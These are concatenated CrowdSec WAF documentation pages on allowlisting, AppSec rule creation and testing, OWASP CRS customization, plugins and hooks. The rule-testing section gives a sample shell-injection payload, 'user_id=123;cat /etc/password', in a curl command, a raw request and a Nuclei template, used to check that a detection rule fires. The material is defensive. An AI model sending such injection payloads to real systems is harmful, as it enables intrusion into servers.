crowdsecurity/appsec-default - custom/my_config labels: type: appsec listen_addr: 127.0.0.1:7422 source: appsec ``` ## Allowlisting[โ€‹](#allowlisting "Direct link to Allowlisting") ### Fully allow a specific IP or range[โ€‹](#fully-allow-a-specific-ip-or-range "Direct link to Fully allow a specific IP or range") If you want to ignore all rule matches for a specific IP or range, you can use a [centralized allowlist](https://docs.crowdsec.net/docs/next/local_api/centralized_allowlists.md). Rules will be processed as usual, but the request will not be blocked even if a rule matches. ### Disable specific rules for a specific IP/range[โ€‹](#disable-specific-rules-for-a-specific-iprange "Direct link to Disable specific rules for a specific IP/range") If you want to disable rule(s) for a specific IP (or range), you will need to use the `pre_eval` hook (refer to the section above for more details): /etc/crowdsec/appsec-configs/my\_config.yaml YAML/etc/crowdsec/appsec-configs/my\_config.yamlCOPY ``` name: custom/my_config pre_eval: - filter: req.RemoteAddr == "1.2.3.4" apply: - RemoveInBandRuleByName("crowdsecurity/generic-wordpress-uploads-php") ``` ### Disable appsec for a specific FQDN[โ€‹](#disable-appsec-for-a-specific-fqdn "Direct link to Disable appsec for a specific FQDN") If your reverse-proxy forwards all requests to CrowdSec regardless of the FQDN, you can disable AppSec for specific domains with a custom AppSec config (the request will always be allowed): /etc/crowdsec/appsec-configs/my\_config.yaml YAML/etc/crowdsec/appsec-configs/my\_config.yamlCOPY ``` name: custom/my_config on_match: - filter: req.Host == "foo.com" apply: - CancelEvent() - CancelAlert() - SetRemediation("allow") ``` With this config, the rules will still be evaluated, but if a rule matches no alert or event will be generated, and the remediation will be set to `allow` (i.e., instruct the bouncer to let the request through). --- # Creation & Testing ## Foreword[โ€‹](#foreword "Direct link to Foreword") This documentation assumes you're creating an AppSec rule to submit to the Hub, along with its functional tests. Building the test first guides the process and makes it easier. We're going to create a rule for an imaginary vulnerability: [a shell injection in the user\_id parameter](https://nvd.nist.gov/vuln/detail/CVE-2022-46169) that can be triggered because [the `x-foobar-bypass` header confuses the application](https://nvd.nist.gov/vuln/detail/CVE-2023-22515). The exploit looks like this: `curl localhost -H "x-foobar-bypass: 1" -d "user_id=123;cat /etc/password&do=yes"` And results in an HTTP request that looks like this: TEXTCOPY ``` POST / HTTP/1.1 ... x-foobar-bypass: 1 Content-Length: 36 Content-Type: application/x-www-form-urlencoded user_id=123;cat /etc/password&do=yes ``` ## Prerequisites[โ€‹](#prerequisites "Direct link to Prerequisites") 1. [Create a local test environment](https://doc.crowdsec.net/docs/contributing/contributing_test_env) or have CrowdSec (>= 1.5.6) installed locally 2. Have Docker installed locally to run the test web server 3. Have [Nuclei installed](https://docs.projectdiscovery.io/tools/nuclei/install) (`go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest`) 4. Clone the hub SHCOPY ``` git clone https://github.com/crowdsecurity/hub.git ``` ## Create our test[โ€‹](#create-our-test "Direct link to Create our test") From the root of the hub repository: SHCOPY ``` โ–ถ cscli hubtest create my-vuln --appsec Test name : my-vuln Test path : /home/bui/github/crowdsec/hub/.appsec-tests/my-vuln Config File : /home/bui/github/crowdsec/hub/.appsec-tests/my-vuln/config.yaml Nuclei Template : /home/bui/github/crowdsec/hub/.appsec-tests/my-vuln/my-vuln.yaml ``` If you are creating a virtual-patching rule, please name your test `CVE-YYYY-XYZ` and your rule `vpatch-CVE-YYYY-XYZ`. ## Configure our test[โ€‹](#configure-our-test "Direct link to Configure our test") Let's incorporate our AppSec rule into the configuration file. > .appsec-tests/my-vuln/config.yaml YAMLCOPY ``` appsec-rules: - ./appsec-rules/crowdsecurity/my-vuln.yaml nuclei_template: my-vuln.yaml ``` *Note:* Since our custom AppSec rule has not been added to the Hub yet, we need to define its path relative to the root of the Hub directory. The `hubtest create` command created a boilerplate Nuclei template that we can edit to add our HTTP request: > .appsec-tests/my-vuln/my-vuln.yaml YAMLCOPY ``` id: my-vuln info: name: my-vuln author: crowdsec severity: info description: my-vuln testing tags: appsec-testing http: #this is a dummy request, edit the request(s) to match your needs - raw: - | POST / HTTP/1.1 Host: {{Hostname}} x-foobar-bypass: 1 Content-Length: 36 Content-Type: application/x-www-form-urlencoded user_id=123;cat /etc/password&do=yes cookie-reuse: true #test will fail because we won't match http status matchers: - type: status status: - 403 ``` A few notes about [the nuclei template](https://docs.projectdiscovery.io/templates/introduction): * The template expects to get a `403` from the server. It's how `hubtest` can tell if the request was caught. * To capture the HTTP request, running your exploit against a `nc` running locally can be useful: `curl localhost:4245 -H "x-foobar-bypass: 1" -d "user_id=123;cat /etc/password&do=yes"` SHCOPY ``` โ–ถ nc -lvp 4245 Listening on 0.0.0.0 4245 Connection received on localhost 50408 POST / HTTP/1.1 Host: localhost:4245 User-Agent: curl/7.68.0 Accept: */* x-foobar-bypass: 1 Content-Length: 36 Content-Type: application/x-www-form-urlencoded user_id=123;cat /etc/password&do=yes ``` ## Rule creation[โ€‹](#rule-creation "Direct link to Rule creation") Let's now create our AppSec rule: > appsec-rules/crowdsecurity/my-vuln.yaml YAMLCOPY ``` name: crowdsecurity/my-vuln description: "Imaginary RCE (CVE-YYYY-XYZ)" rules: - and: - zones: - METHOD match: type: equals value: POST - zones: - HEADERS_NAMES transform: - lowercase match: type: equals value: x-foobar-bypass - zones: - BODY_ARGS variables: - user_id match: type: regex value: "[^a-zA-Z0-9_]" labels: type: exploit service: http confidence: 3 spoofable: 0 behavior: "http:exploit" label: "Citrix RCE" classification: - cve.CVE-YYYY-XYZ - attack.T1595 - attack.T1190 - cwe.CWE-284 ``` Let's get over the relevant parts: * `name` is how the alert will appear to users (in `cscli` or [the console](http://app.crowdsec.net)) * `description` is how your scenario will appear in [the hub](https://hub.crowdsec.net) * `labels` section is used both in [the hub](https://hub.crowdsec.net) and [the console](https://app.crowdsec.net). [It must follow rules described here](https://docs.crowdsec.net/docs/next/log_processor/scenarios/format.md#labels) * `rules` describe what we want to match: * a [`METHOD`](https://docs.crowdsec.net/docs/next/appsec/rules_syntax.md#zones) [equal to `POST`](https://docs.crowdsec.net/docs/next/appsec/rules_syntax.md#match) * the presence of a header ([`HEADERS_NAME`](https://docs.crowdsec.net/docs/next/appsec/rules_syntax.md#zones)) with a name that once transformed to `lowercase`, is `x-foobar-bypass` * a post parameter (`BODY_ARGS`), `user_id` that contains something else than a-z A-Z or 0-9 or `_` info You can [find detailed rules syntax here](https://docs.crowdsec.net/docs/next/appsec/rules_syntax.md). ## Testing[โ€‹](#testing "Direct link to Testing") We now have the needed pieces: * a nuclei template that simulates exploitation * an AppSec rule to detect the vulnerability exploitation * a test that ties both together, ensuring our rule detects our exploit To run our test, we're going to use the provided docker-compose file. It starts an nginx server (listening on port `7822`), that will be used as a "target" for our exploitation attempt. The nginx service is configured to interact with the ephemeral crowdsec service started by `hubtest`: > from the root of the hub repository SHCOPY ``` docker-compose -f docker/appsec/docker-compose.yaml up -d ``` Depending on how you installed `nuclei`, be sure to add it to your `$PATH`: SHCOPY ``` PATH=~/go/bin/:$PATH ``` We're now ready to go! SHCOPY ``` โ–ถ cscli hubtest run my-vuln --appsec INFO[2023-12-21 16:43:28] Running test 'my-vuln' INFO[2023-12-21 16:43:30] Appsec test my-vuln succeeded INFO[2023-12-21 16:43:30] Test 'my-vuln' passed successfully (0 assertions) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ Test Result โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ my-vuln โœ… โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ ``` Congrats to you, you are now ready to make your contribution available to the crowd! Head [to our github repository, and open a PR](https://github.com/crowdsecurity/hub) (including the tests). ## Troubleshooting your tests[โ€‹](#troubleshooting-your-tests "Direct link to Troubleshooting your tests") Things didn't work as intended? ### Startup errors[โ€‹](#startup-errors "Direct link to Startup errors") If your test doesn't work, chances are that something prevented it to run. 1. nuclei isn't in the standard PATH You will see an error message such as: `ERRO[2023-12-21 16:43:16] Appsec test my-vuln failed: exec: "nuclei": executable file not found in $PATH`. 2. your nuclei template isn't valid TEXTCOPY ``` WARN[2023-12-21 16:50:33] Error running nuclei: exit status 1 WARN[2023-12-21 16:50:33] Stdout saved to /.../my-vuln-1703173832_stdout.txt WARN[2023-12-21 16:50:33] Stderr saved to /.../my-vuln-1703173832_stderr.txt WARN[2023-12-21 16:50:33] Nuclei generated output saved to /.../my-vuln-1703173832.json ``` note that you can always run your nuclei template "manually" to debug it: `nuclei -t path/to/my-vuln.yaml -u target` 3. your AppSec rule isn't valid You will see crowdsec fataling at startup: TEXTCOPY ``` time="2023-12-21 15:42:10" level=info msg="loading inband rule crowdsecurity/*" component=appsec_config name=appsec-test type=appsec time="2023-12-21 15:42:10" level=error msg="unable to convert rule crowdsecurity/my-vuln : unknown zone 'BODY'" component=appsec_collection_loader name=appsec-test type=appsec time="2023-12-21 15:42:10" level=fatal msg="crowdsec init: while loading acquisition config: while configuring datasource of type AppSec fro... ``` ### Inspecting runtime logs[โ€‹](#inspecting-runtime-logs "Direct link to Inspecting runtime logs") In case of a test failure, do not delete the `.appsec-tests//runtime/` folder. Rather, inspect the files inside the `.appsec-tests//runtime/` folder: * `-_[stderr|stdout].txt`: These files have the output from the nuclei command. They show the response of the request, which may suggest that the request was not blocked. * `log/crowdsec.log`: This log file is from the crowdsec that was started by `cscli hubtest`. Here, you might find errors related to CrowdSec, like problems starting or loading the AppSec Component. --- # Customization In most cases, CRS will need some custom configuration to work properly without false positives on any moderatly complex application. In order to update the behaviour of the CRS, we will be using the plugin system to update the configuration without modifying any existing file. To get an overview of the plugin system, you can refer to the [dedicated documentation](https://docs.crowdsec.net/docs/next/appsec/crs/plugin_support.md). warning CRS configuration applies globally. If you serve multiple apps and want to change behaviour only on specific routes or FQDN, you will need to filter for those in the rules themselves. ## Examples[โ€‹](#examples "Direct link to Examples") All the rules shown in the examples need to be put in a file `-before.conf` in the directory `/var/lib/crowdsec/data/crs-plugins//` ### Allow the PUT method[โ€‹](#allow-the-put-method "Direct link to Allow the PUT method") As a simple customization, you can create a small CRS plugin that adds PUT to the list of allowed HTTP methods. /var/lib/crowdsec/data/crs-plugins/my-custom-plugin/custom-plugin-before.conf CONF/var/lib/crowdsec/data/crs-plugins/my-custom-plugin/custom-plugin-before.confCOPY ``` SecRule &TX:allowed_methods "@eq 0" \ "id:9900000,\ phase:1,\ pass,\ nolog,\ setvar:'tx.allowed_methods=GET HEAD POST OPTIONS PUT'" ``` Restart CrowdSec to load the plugin and apply the new method list. ### Allow the PUT method only on blog.mydomain.com[โ€‹](#allow-the-put-method-only-on-blogmydomaincom "Direct link to Allow the PUT method only on blog.mydomain.com") /var/lib/crowdsec/data/crs-plugins/my-custom-plugin/custom-plugin-before.conf CONF/var/lib/crowdsec/data/crs-plugins/my-custom-plugin/custom-plugin-before.confCOPY ``` SecRule SERVER_NAME "@streq blog.mydomain.com" "phase:1,chain" SecRule &TX:allowed_methods "@eq 0" \ "id:9900000,\ phase:1,\ pass,\ nolog,\ setvar:'tx.allowed_methods=GET HEAD POST OPTIONS PUT'" ``` ### Disable a rule for a specific parameter[โ€‹](#disable-a-rule-for-a-specific-parameter "Direct link to Disable a rule for a specific parameter") Other times, you might want to fully disable a rule on a specific endpoint for a specific parameter. Let's say the `query` parameter on the `foo.php` page triggers a false positive on the rule `942100` (LibInjection SQL detection). We can disable this rule on this specific parameter: /var/lib/crowdsec/data/crs-plugins/my-custom-plugin/custom-plugin-before.conf CONF/var/lib/crowdsec/data/crs-plugins/my-custom-plugin/custom-plugin-before.confCOPY ``` SecRule REQUEST_FILENAME "@streq /foo.php" \ "id:9900001,\ phase:1, pass, t:none, nolog, ctl:RemoveTargetById=942100;ARGS:query" ``` ### Fully disable a rule[โ€‹](#fully-disable-a-rule "Direct link to Fully disable a rule") You might also want to fully disable a rule. While this should be avoided, and it's safer to target specific parameters, sometimes you might need to disable a rule globally because it causes too many false positives. /var/lib/crowdsec/data/crs-plugins/my-custom-plugin/custom-plugin-before.conf CONF/var/lib/crowdsec/data/crs-plugins/my-custom-plugin/custom-plugin-before.confCOPY ``` SecRuleRemoveById 942100 ``` --- # Installation ## Installing the CRS[โ€‹](#installing-the-crs "Direct link to Installing the CRS") CRS rules are provided with two configurations in CrowdSec: blocking mode (rules are loaded in-band) and non-blocking mode (rules are loaded out-of-band). ### Non-blocking mode[โ€‹](#non-blocking-mode "Direct link to Non-blocking mode") If you have never deployed the CRS on your website, we recommend deploying the rules first in non-blocking mode. In this mode, requests are evaluated out of band, meaning they cannot be blocked, but events will still be generated. In order to use the CRS in non-blocking mode, you need to install the corresponding collection: SHCOPY ``` cscli collections install crowdsecurity/appsec-crs ``` The [`crowdsecurity/appsec-crs`](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-crs) collection includes: * **crowdsecurity/crs**: AppSec config that loads CRS rules in out-of-band mode * **crowdsecurity/crowdsec-appsec-outofband**: Scenario that bans IPs after 5+ out-of-band rule violations Then use it in your acquisition configuration, for example `/etc/crowdsec/acquis.d/waf.yaml`: YAMLCOPY ``` source: appsec appsec-configs: - crowdsecurity/crs labels: type: appsec ``` info If an IP triggers too many different rules in a very short timespan, the IP will be blocked, regardless of whether the CRS rules are in blocking mode or not. By default, non-blocking mode does not generate alerts. You can update the default configuration to generate an alert for every rule match. To do so, create a file `/etc/crowdsec/appsec-configs/crs-alerting.yaml` with the following content: YAMLCOPY ``` name: custom/crs-alerting on_match: - filter: IsOutBand == true apply: - SendAlert() - CancelEvent() # This one is optional: if set, no event will be generated, meaning CrowdSec will never take a decision based on the rules that were matched. ``` Then add it to your acquisition configuration: YAMLCOPY ``` source: appsec appsec-configs: - crowdsecurity/crs - custom/crs-alerting labels: type: appsec ``` ### Blocking mode[โ€‹](#blocking-mode "Direct link to Blocking mode") You can also configure the CRS in blocking mode. In this mode, any requests reaching the default CRS threshold for blocking will be dropped. You need to install the corresponding collection: SHCOPY ``` cscli collections install crowdsecurity/appsec-crs-inband ``` Then load it in your configuration: YAMLCOPY ``` source: appsec appsec-configs: - crowdsecurity/crs-inband labels: type: appsec ``` In this mode, requests will be blocked, and alerts will be generated by default. --- # CRS Support The CrowdSec WAF is compatible with the [OWASP CRS](https://coreruleset.org/) project. The **OWASP Core Rule Set (CRS)** is a set of generic attack detection rules for use with ModSec-compatible web application firewalls. CRS aims to protect web applications from a wide range of attacks, including the OWASP Top Ten, with minimal false positives. **Key features of OWASP CRS:** * **Comprehensive Coverage**: Protects against SQL injection, XSS, command injection, path traversal, and many other attack types * **Generic Detection**: Uses pattern-based rules that detect attack techniques rather than specific exploits * **Mature Ruleset**: Actively maintained by the OWASP community with regular updates * **Configurable Sensitivity**: Supports paranoia levels to balance security vs false positives * **Wide Compatibility**: Works with various WAF engines including CrowdSec's AppSec component **CRS vs Virtual Patching:** * **Virtual Patching**: Targets specific known vulnerabilities (CVEs) with minimal false positives * **CRS**: Provides broad attack pattern detection with comprehensive coverage but may require tuning In CrowdSec, CRS rules can be deployed in two modes: * **Out-of-band**: Analyzes traffic without blocking, triggers bans after multiple violations * **In-band**: Blocks malicious requests immediately at detection time CRS compatibility is provided through [Coraza](https://github.com/corazawaf/coraza). --- # Plugin support The CRS provides a plugin mechanism, allowing you to extend the CRS or fine-tune its behaviour for specific applications. The vast majority of plugins should work with CrowdSec. The only exception is plugins requiring Lua scripts. ## How plugins work[โ€‹](#how-plugins-work "Direct link to How plugins work") CRS plugins are injected both before and after the CRS rules. The following files are included automatically if present in `/var/lib/crowdsec/data/`: YAMLCOPY ``` - crs-plugins/*/*-config.conf - crs-plugins/*/*-before.conf - crs-plugins/*/*-after.conf ``` The `*-config.conf` and `*-before.conf` files are included before the CRS rules (but after the CRS `crs-setup.conf` file). The `*-after.conf` files are included after the CRS rules. warning Plugins are enabled globally, meaning you cannot enable or disable one for one specific route or FQDN. ## Installing a CRS plugin from the Hub[โ€‹](#installing-a-crs-plugin-from-the-hub "Direct link to Installing a CRS plugin from the Hub") Exclusion plugins officially supported and maintained by the CRS team are available in the [CrowdSec Hub](https://app.crowdsec.net/hub). You can search for `uib`. As an example, plugins for the following apps are provided: * Wordpress * NextCloud * PHPMyAdmin * CPanel * Drupal * PHPBB * DokuWiki * Xenforo If the plugin you want to use is listed in the Hub, you can simply install it with `cscli collections install crowdsecurity/`. It will be automatically loaded by CrowdSec after a restart if you are using the CRS collection. Plugins installed through the Hub are kept up to date automatically once installed. warning CRS plugins are treated as data files in CrowdSec. Any manual changes to them will be overwritten the next time they are updated. ## Manually installing a plugin[โ€‹](#manually-installing-a-plugin "Direct link to Manually installing a plugin") If the plugin you want to use is not provided by the hub (or you want to make some changes to the plugin), you will need to manually install it. Let's take the [Roundcube third-party plugin](https://github.com/EsadCetiner/roundcube-rule-exclusions-plugin) as an example. You'll need to first create the plugin directory in the CrowdSec data directory (you can use any name you want for the directory): SHCOPY ``` sudo mkdir /var/lib/crowdsec/data/crs-plugins/roundcube ``` Next, we'll simply need to copy the contents of the `plugins` directory into the directory we just created. Assuming the plugin repository was cloned to `/home/user/roundcube-rule-exclusions-plugin/`: SHCOPY ``` sudo cp /home/user/roundcube-rule-exclusions-plugin/plugins/*.conf /var/lib/crowdsec/data/crs-plugins/roundcube/ ``` In any case, refer to the documentation of the plugin to check if you need to configure some plugin-specific options. If you are writing a fully custom plugin, you can follow the exact same steps to deploy your plugin. Finally, restart CrowdSec to load the new plugin. --- # FAQ --- # Hooks The Application Security Component lets you hook into different stages to change behavior at runtime. Hooks run in four phases: * `on_load`: Called just after the rules have been loaded into the engine. * `pre_eval`: Called after a request has been received but before the rules are evaluated. * `post_eval`: Called after the rules have been evaluated. * `on_match`: Called after a successful match of a rule. If multiple rules, this hook will be called only once. ## Using hooks[โ€‹](#using-hooks "Direct link to Using hooks") Hooks are configured in your AppSec config file. The `on_load` hook only supports `apply`, while other hooks support `filter` and `apply`. Both `filter` and `apply` of the same phase have access to the same helpers. Except for `on_load`, hooks can be called twice per request: once for in-band processing and once for out-of-band processing. Use `IsInBand` and `IsOutBand` to filter the hook. Hooks have the following format: YAMLCOPY ``` on_match: - filter: IsInBand && 1 == 1 apply: - valid expression - valid expression ``` If the filter returns `true`, each of the expressions in the `apply` section are executed. ### `on_load`[โ€‹](#on_load "Direct link to on_load") This hook is intended to be used to disable rules at loading (eg, to temporarily disable a rule that is causing false positives). #### Available helpers[โ€‹](#available-helpers "Direct link to Available helpers") | Helper Name | Type | Description | | ------------------------------ | --------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `RemoveInBandRuleByName` | `func(tag str)` | Disable the named in-band rule | | `RemoveInBandRuleByTag` | `func(tag str)` | Disable the in-band rule identified by the tag (multiple rules can have the same tag) | | `RemoveInBandRuleByID` | `func(id int)` | Disable the in-band rule identified by the ID | | `RemoveOutBandRuleByName` | `func(tag str)` | Disable the named out-of-band rule | | `RemoveOutBandRuleByTag` | `func(tag str)` | Disable the out-of-band rule identified by the tag (multiple rules can have the same tag) | | `RemoveOutBandRuleByID` | `func(id int)` | Disable the out-of-band rule identified by the ID | | `SetRemediationByTag` | `func(tag str, remediation string)` | Change the remediation of the in-band rule identified by the tag (multiple rules can have the same tag) | | `SetRemediationByID` | `func(id int, remediation string)` | Change the remediation of the in-band rule identified by the ID | | `SetRemediationByName` | `func(name str, remediation string)` | Change the remediation of the in-band rule identified by the name | | `LoadAPISchemaWithName` | `func(ref str, filename str)` | Load an OpenAPI schema from `/schemas/` and register it under `ref`. See [OpenAPI Schema Validation](https://docs.crowdsec.net/docs/next/appsec/api_validation.md). | | `LoadAPISchemaWithOptions` | `func(ref str, filename str, opts map)` | Same as `LoadAPISchemaWithName` but accepts per-schema policy overrides (`on_route_not_found`, `on_method_not_allowed`). | | `RegisterAPISchemaBodyDecoder` | `func(content_type str, decoder str)` | Enable a non-default body decoder for a Content-Type. See [available decoders](https://docs.crowdsec.net/docs/next/appsec/api_validation.md#body-decoders). | | `SetMaxBodySize` | `func(size int)` | Set the maximum request body size (in bytes) buffered and inspected by the engine. Defaults to 10MB. See [Request body size handling](#request-body-size-handling) | | `SetBodySizeExceededAction` | `func(action str)` | Set what happens when a request body exceeds the maximum size: `drop` (default), `partial`, or `allow`. See [Request body size handling](#request-body-size-handling) | ##### Example[โ€‹](#example "Direct link to Example") YAMLCOPY ``` name: crowdsecurity/my-appsec-config default_remediation: ban inband_rules: - crowdsecurity/base-config - crowdsecurity/vpatch-* on_load: - apply: - RemoveInBandRuleByName("my_rule") - SetRemediationByTag("my_tag", "captcha") ``` ### `pre_eval`[โ€‹](#pre_eval "Direct link to pre_eval") This hook is intended to be used to disable rules only for this particular request (eg, to disable a rule for a specific IP). #### Available helpers[โ€‹](#available-helpers-1 "Direct link to Available helpers") | Helper Name | Type | Description | | --------------------------- | ------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `RemoveInBandRuleByName` | `func(tag str)` | Disable the named in-band rule | | `RemoveInBandRuleByTag` | `func(tag str)` | Disable the in-band rule identified by the tag (multiple rules can have the same tag) | | `RemoveInBandRuleByID` | `func(id int)` | Disable the in-band rule identified by the ID | | `RemoveOutBandRuleByName` | `func(tag str)` | Disable the named out-of-band rule | | `RemoveOutBandRuleByTag` | `func(tag str)` | Disable the out-of-band rule identified by the tag (multiple rules can have the same tag) | | `RemoveOutBandRuleByID` | `func(id int)` | Disable the out-of-band rule identified by the ID | | `IsInBand` | `bool` | `true` if the request is in the in-band processing phase | | `IsOutBand` | `bool` | `true` if the request is in the out-of-band processing phase | | `SetRemediationByTag` | `func(tag str, remediation string)` | Change the remediation of the in-band rule identified by the tag (multiple rules can have the same tag) | | `SetRemediationByID` | `func(id int, remediation string)` | Change the remediation of the in-band rule identified by the ID | | `SetRemediationByName` | `func(name str, remediation string)` | Change the remediation of the in-band rule identified by the name | | `req` | `http.Request` | Original HTTP request received by the remediation component | | `DropRequest` | `func(reason str)` | Stop processing the request immediately and instruct the remediation component to block the request | | `DisableBodyInspection` | `func()` | Skip body inspection for the current request (also bypasses the maximum body size check). See [Request body size handling](#request-body-size-handling) | | `ValidateRequestWithSchema` | `func(ref str) bool` | Validate the current request against an OpenAPI schema previously loaded under `ref` (returns `true` on success). On failure, structured details are published to `hook_vars` (see [OpenAPI Schema Validation](https://docs.crowdsec.net/docs/next/appsec/api_validation.md#validation-result-variables)). | | `hook_vars` | `map[string]string` | Per-request scratch space shared with later hooks and propagated to the resulting event. Helpers such as `ValidateRequestWithSchema` publish their results here. | #### Example[โ€‹](#example-1 "Direct link to Example") YAMLCOPY ``` name: crowdsecurity/my-appsec-config default_remediation: ban inband_rules: - crowdsecurity/base-config - crowdsecurity/vpatch-* pre_eval: - filter: IsInBand == true && req.RemoteAddr == "192.168.1.1" apply: - RemoveInBandRuleByName("my_rule") ``` ### `post_eval`[โ€‹](#post_eval "Direct link to post_eval") This hook is mostly intended for debugging or threat-hunting purposes. #### Available helpers[โ€‹](#available-helpers-2 "Direct link to Available helpers") | Helper Name | Type | Description | | ------------- | -------------- | ------------------------------------------------------------ | | `IsInBand` | `bool` | `true` if the request is in the in-band processing phase | | `IsOutBand` | `bool` | `true` if the request is in the out-of-band processing phase | | `DumpRequest` | `func()` | Dump the request to a file | | `req` | `http.Request` | Original HTTP request received by the remediation component | #### DumpRequest[โ€‹](#dumprequest "Direct link to DumpRequest") In order to make `DumpRequest` write your request to a file, you have to call `DumpRequest().ToJSON()`, which will create a file in the OS temporary directory (eg, `/tmp` on Linux) with the following format: `crowdsec_req_dump_.json`. You can configure what is dumped with the following options: * `DumpRequest().NoFilters()`: Clear any previous filters (ie. dump everything) * `DumpRequest().WithEmptyHeadersFilters()`: Clear the headers filters, ie. dump all the headers * `DumpRequest().WithHeadersContentFilter(regexp string)`: Add a filter on the content of the headers, ie. dump only the headers that *do not* match the provided regular expression * `DumpRequest().WithHeadersNameFilter(regexp string)`: Add a filter on the name of the headers, ie. dump only the headers that *do not* match the provided regular expression * `DumpRequest().WithNoHeaders()`: Do not dump the request headers * `DumpRequest().WithHeaders()`: Dump all the request headers (override any previous filter) * `DumpRequest().WithBody()`: Dump the request body * `DumpRequest().WithNoBody()`: Do not dump the request body * `DumpRequest().WithEmptyArgsFilters()`: Clear the query parameters filters, ie. dump all the query parameters * `DumpRequest().WithArgsContentFilter(regexp string)`: Add a filter on the content of the query parameters, ie. dump only the query parameters that *do not* match the provided regular expression * `DumpRequest().WithArgsNameFilter(regexp string)`: Add a filter on the name of the query parameters, ie. dump only the query parameters that *do not* match the provided regular expression By default, everything is dumped. All regexps are case-insensitive. You can chain the options, for example: TEXTCOPY ``` DumpRequest().WithNoBody().WithArgsNameFilter("var1").WithArgsNameFilter("var2").ToJSON() ``` This will discard the body of the request, remove the query parameters `var1` and `var2` from the dump, and dump everything else. #### Example[โ€‹](#example-2 "Direct link to Example") YAMLCOPY ``` name: crowdsecurity/my-appsec-config default_remediation: ban inband_rules: - crowdsecurity/base-config - crowdsecurity/vpatch-* post_eval: - filter: IsInBand == true apply: - DumpRequest().NoFilters().WithBody().ToJSON() ``` ### `on_match`[โ€‹](#on_match "Direct link to on_match") This hook is intended to be used to change the behavior of the engine after a match (eg, to change the remediation that will be used dynamically). #### Available helpers[โ€‹](#available-helpers-3 "Direct link to Available helpers") | Helper Name | Type | Description | | ---------------- | -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------- | | `SetRemediation` | `func(remediation string)` | Change the remediation that will be returned to the remediation component | | `SetReturnCode` | `func(code int)` | Change the HTTP code that will be returned to the remediation component | | `CancelAlert` | `func()` | Prevent the Application Security Component to create a crowdsec alert | | `SendAlert` | `func()` | Force the Application Security Component to create a crowdsec alert | | `CancelEvent` | `func()` | Prevent the Application Security Component to create a crowdsec event | | `SendEvent` | `func()` | Force the Application Security Component to create a crowdsec event | | `DumpRequest` | `func()` | Dump the request to a file (see previous section for detailed usage) | | `IsInBand` | `bool` | `true` if the request is in the in-band processing phase | | `IsOutBand` | `bool` | `true` if the request is in the out-of-band processing phase | | `evt` | `types.Event` | [The event that has been generated](https://docs.crowdsec.net/docs/next/expr/event.md#appsec-helpers) by the Application Security Component | | `req` | `http.Request` | Original HTTP request received by the remediation component | #### Example[โ€‹](#example-3 "Direct link to Example") YAMLCOPY ``` name: crowdsecurity/my-appsec-config default_remediation: ban inband_rules: - crowdsecurity/base-config - crowdsecurity/vpatch-* on_match: - filter: IsInBand == true && req.RemoteAddr == "192.168.1.1" apply: - CancelAlert() - CancelEvent() - filter: | any( evt.Appsec.MatchedRules, #.name == "crowdsecurity/vpatch-env-access") and req.RemoteAddr = "192.168.1.1" apply: - SetRemediation("allow") - filter: evt.Appsec.MatchedRules.GetURI() contains "/foobar/" apply: - SetRemediation("allow") ``` ## Detailed Helpers Information[โ€‹](#detailed-helpers-information "Direct link to Detailed Helpers Information") ### `SetRemediation*`[โ€‹](#setremediation "Direct link to setremediation") When using `SetRemediation*` helpers, the only special value is `allow`: the remediation component won't block the request. Any other values (including `ban` and `captcha`) are transmitted as-is to the remediation component. ### Request body size handling[โ€‹](#request-body-size-handling "Direct link to Request body size handling") Before the request body is handed over to the rules engine, the Application Security Component reads it into memory itself. To protect the engine from oversized requests, the body is bounded by a maximum size (defaults to **10MB**). This limit is independent from the Coraza-level [`request_body_in_memory_limit`](https://docs.crowdsec.net/docs/next/appsec/configuration.md#inband_options) option: it controls how much of the body CrowdSec buffers in the first place, before any rule is evaluated. You can tune this behavior from an `on_load` hook: * `SetMaxBodySize(size)` sets the maximum body size, in bytes. The value must be a positive integer. * `SetBodySizeExceededAction(action)` controls what happens when a body exceeds the maximum size: | Action | Behavior | | ---------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | | `drop` (default) | The request is blocked using the default remediation, without inspecting the body. | | `partial` | The body is truncated to the maximum size and the kept portion is inspected. Content beyond the truncation point is discarded and will not match any rule. | | `allow` | The body is not inspected and the request is allowed to proceed (other zones are still evaluated). | YAMLCOPY ``` name: crowdsecurity/my-appsec-config default_remediation: ban inband_rules: - crowdsecurity/base-config on_load: - apply: - SetMaxBodySize(20971520) # 20MB - SetBodySizeExceededAction("partial") ``` #### `DisableBodyInspection`[โ€‹](#disablebodyinspection "Direct link to disablebodyinspection") `DisableBodyInspection()` can be called from a `pre_eval` hook to skip body inspection for the current request only. When body inspection is disabled: * the request body is not read or processed, so body-based zones (`BODY_ARGS`, `RAW_BODY`, โ€ฆ) won't match; * the maximum body size check is bypassed as well: a request that would otherwise be dropped for exceeding the limit is allowed through, because the operator has explicitly accepted that this body won't be processed. YAMLCOPY ``` pre_eval: - filter: req.URL.Path startsWith "/upload" apply: - DisableBodyInspection() ``` ### `req` object[โ€‹](#req-object "Direct link to req-object") The `pre_eval`, `on_match` and `post_eval` hooks have access to a `req` variable that represents the HTTP request that was forwarded to the appsec. It's a Go [http.Request](https://pkg.go.dev/net/http#Request) object, so you can directly access all the details about the request. For example: * To get the requested URI: `req.URL.Path` * To get the client IP: `req.RemoteAddr` * To get the HTTP method: `req.Method` * To get the FQDN: `req.Host` --- # AppSec Component - CrowdSec WAF ## What is CrowdSec?[โ€‹](#what-is-crowdsec "Direct link to What is CrowdSec?") If you're new to CrowdSec, here's a quick overview: **CrowdSec** is an open-source, collaborative security solution that: * Detects and blocks malicious actors threatening your infrastructure and applications * Provides real-time threat intelligence through a participative community * Offers both **Infrastructure Protection** (IP reputation, DDoS mitigation) and **Application Security** (WAF capabilities) New to CrowdSec? For a more detailed introduction, check out our [Getting Started 